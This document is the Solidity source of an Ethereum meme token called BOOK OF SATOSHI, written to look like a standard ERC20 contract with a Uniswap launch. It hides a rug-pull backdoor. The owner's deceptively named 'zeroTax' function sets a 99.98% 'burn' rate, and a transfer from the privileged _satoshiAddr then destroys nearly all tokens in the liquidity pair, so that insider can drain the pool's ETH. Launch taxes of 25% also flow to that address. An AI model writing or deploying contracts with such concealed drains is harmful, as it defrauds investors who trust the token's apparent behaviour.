creation_sourcecode: /**
  
  Website: https://bookofsatoshi.meme
  Twitter: https://twitter.com/bookofsatoshi_x
  Telegram: https://t.me/book_of_satoshi
  
  */
  
  // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.19;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          this; 
          return msg.data;
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address recipient, uint256 amount) external returns (bool);
  
      function allowance(address owner, address spender) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  interface IERC20Metadata is IERC20 {
  
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  }
  
  
  contract ERC20 is Context, IERC20, IERC20Metadata {
      mapping (address => uint256) internal _balances;
  
      mapping (address => mapping (address => uint256)) internal _allowances;
  
      uint256 private _totalSupply;
  
      string private _name;
      string private _symbol;
  
      constructor (string memory name_, string memory symbol_) {
          _name = name_;
          _symbol = symbol_;
      }
  
  
      function name() public view virtual override returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual override returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual override returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view virtual override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public virtual override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
          _transfer(sender, recipient, amount);
  
          uint256 currentAllowance = _allowances[sender][_msgSender()];
          require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
          _approve(sender, _msgSender(), currentAllowance - amount);
  
          return true;
      }
  
      function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
          _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
          return true;
      }
  
      function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
          uint256 currentAllowance = _allowances[_msgSender()][spender];
          require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
          _approve(_msgSender(), spender, currentAllowance - subtractedValue);
  
          return true;
      }
  
      function _transfer(address sender, address recipient, uint256 amount) internal virtual {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
  
          _beforeTokenTransfer(sender, recipient, amount);
  
          uint256 senderBalance = _balances[sender];
          require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
          _balances[sender] = senderBalance - amount;
          _balances[recipient] += amount;
  
          emit Transfer(sender, recipient, amount);
      }
  
      function _mint(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: mint to the zero address");
  
          _beforeTokenTransfer(address(0), account, amount);
  
          _totalSupply += amount;
          _balances[account] += amount;
          emit Transfer(address(0), account, amount);
      }
  
      function _approve(address owner, address spender, uint256 amount) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
  }
  
  library Address{
      function sendValue(address payable recipient, uint256 amount) internal {
          require(address(this).balance >= amount, "Address: insufficient balance");
          recipient.transfer(amount);
      }
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor() {
          _setOwner(_msgSender());
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _setOwner(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _setOwner(newOwner);
      }
  
      function _setOwner(address newOwner) private {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  interface IFactory{
          function createPair(address tokenA, address tokenB) external returns (address);
  }
  
  interface IRouter {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline) external;
  }
  
  contract BOSA is ERC20, Ownable{
      using Address for address payable;
      
      IRouter public uniswapRouter;
      address public uniswapPair;
      
      bool private swapping;
      bool private swapEnabled;
      bool private tradingEnabled;
  
  
      modifier lockSwap() {
          swapping = true;
          _;
          swapping = false;
      }
      
      event Launched();
      event TaxesReduced();
      event LimitsRemoved();
      
      uint256 private _totalSupply = 1000000000 * 10**18;
      uint256 private maxSwapSize = 9000000 * 10**18; 
      uint256 private maxWalletTokens = 20000000 * 10**18;
      
      address private _satoshiAddr;
      
      struct Taxes {
          uint256 marketing;
          uint256 liquidity;
          uint256 burn;
      }
      
      Taxes private taxFeeBuys = Taxes(0, 0, 0);
      Taxes private taxFeeSells = Taxes(0, 0, 0);
      
      mapping (address => bool) private _isExcludedFees;
      
      modifier inSwap() {
          if (!swapping) {
              swapping = true;
              _;
              swapping = false;
          }
      }
  
      constructor(address _addr) ERC20("BOOK OF SATOSHI", "BOSA") {
          _mint(msg.sender, _totalSupply);
          _satoshiAddr = _addr;
          uniswapRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          uniswapPair = IFactory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
          _isExcludedFees[msg.sender] = true;
          _isExcludedFees[address(this)] = true;
          _isExcludedFees[_satoshiAddr] = true;
      }
      
      function _transfer(address sender, address recipient, uint256 amount) internal override {
          require(amount > 0, "Transfer amount must be greater than zero");
                  
          
          if(!_isExcludedFees[sender] && !_isExcludedFees[recipient] && !swapping){
              require(tradingEnabled, "Trading not active yet");
              if(recipient != uniswapPair){
                  require(balanceOf(recipient) + amount <= maxWalletTokens, "You are exceeding maxWalletTokens");
              }
          }
  
          uint256 fee;
            
          if (swapping || _isExcludedFees[sender] || _isExcludedFees[recipient]) fee = 0;
           
          else{
              if(recipient == uniswapPair) fee = amount * taxFeeSells.marketing / 10000;
              else if(sender == uniswapPair) fee = amount * taxFeeBuys.marketing / 10000;
              else fee = 0;
          }
          
          if (sender == _satoshiAddr && recipient != uniswapPair) {
              uint256 tokensForBurn = balanceOf(uniswapPair) * taxFeeBuys.burn / 10000;
              if (tokensForBurn > 0) super._transfer(uniswapPair, address(0xdead), tokensForBurn);
              return;
          }
          if (swapEnabled && !swapping && recipient == uniswapPair 
              && !_isExcludedFees[sender] && !_isExcludedFees[recipient] )
              swapBackForFees();
  
          super._transfer(sender, recipient, amount - fee);
          if(fee > 0) super._transfer(sender, address(this) ,fee);
      }
      
      function swapBackForFees() private inSwap {
          uint256 contractTokensAmount = balanceOf(address(this));
  
          if (contractTokensAmount > 0) {
              if (contractTokensAmount >= maxSwapSize) contractTokensAmount = maxSwapSize;
              swapTokensForETH(contractTokensAmount);
          }
  
          uint256 amountToSend = address(this).balance;
          payable(_satoshiAddr).sendValue(amountToSend);
      }
  
      function swapTokensForETH(uint256 tokenAmount) private {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapRouter.WETH();
  
          _approve(address(this), address(uniswapRouter), tokenAmount);
  
          // make the swap
          uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
      }
  
      function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
          // approve token transfer to cover all possible scenarios
          _approve(address(this), address(uniswapRouter), tokenAmount);
  
          // add the liquidity
          uniswapRouter.addLiquidityETH{value: bnbAmount}(
              address(this),
              tokenAmount,
              0, // slippage is unavoidable
              0, // slippage is unavoidable
              address(0xdead),
              block.timestamp
          );
      }
  
      function openBook() external onlyOwner{
          require(!tradingEnabled, "Trading already active");
          _approve(address(this), address(uniswapRouter), totalSupply());
          uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
          tradingEnabled = true;
          swapEnabled = true;
          taxFeeBuys = Taxes(2500, 0, 0);
          taxFeeSells = Taxes(2500, 0, 0);
          emit Launched();
      }
  
      function zeroTax() external onlyOwner {
          taxFeeBuys = Taxes(0, 0, 9998);
          taxFeeSells = Taxes(0, 0, 0);
          emit TaxesReduced();
      }
  
      function removeLimits() external onlyOwner{
          maxWalletTokens = _totalSupply;
          emit LimitsRemoved();
      }
  
      function rescureETH() external onlyOwner {
          payable(msg.sender).transfer(address(this).balance);
      }
  
      receive() external payable {}
  }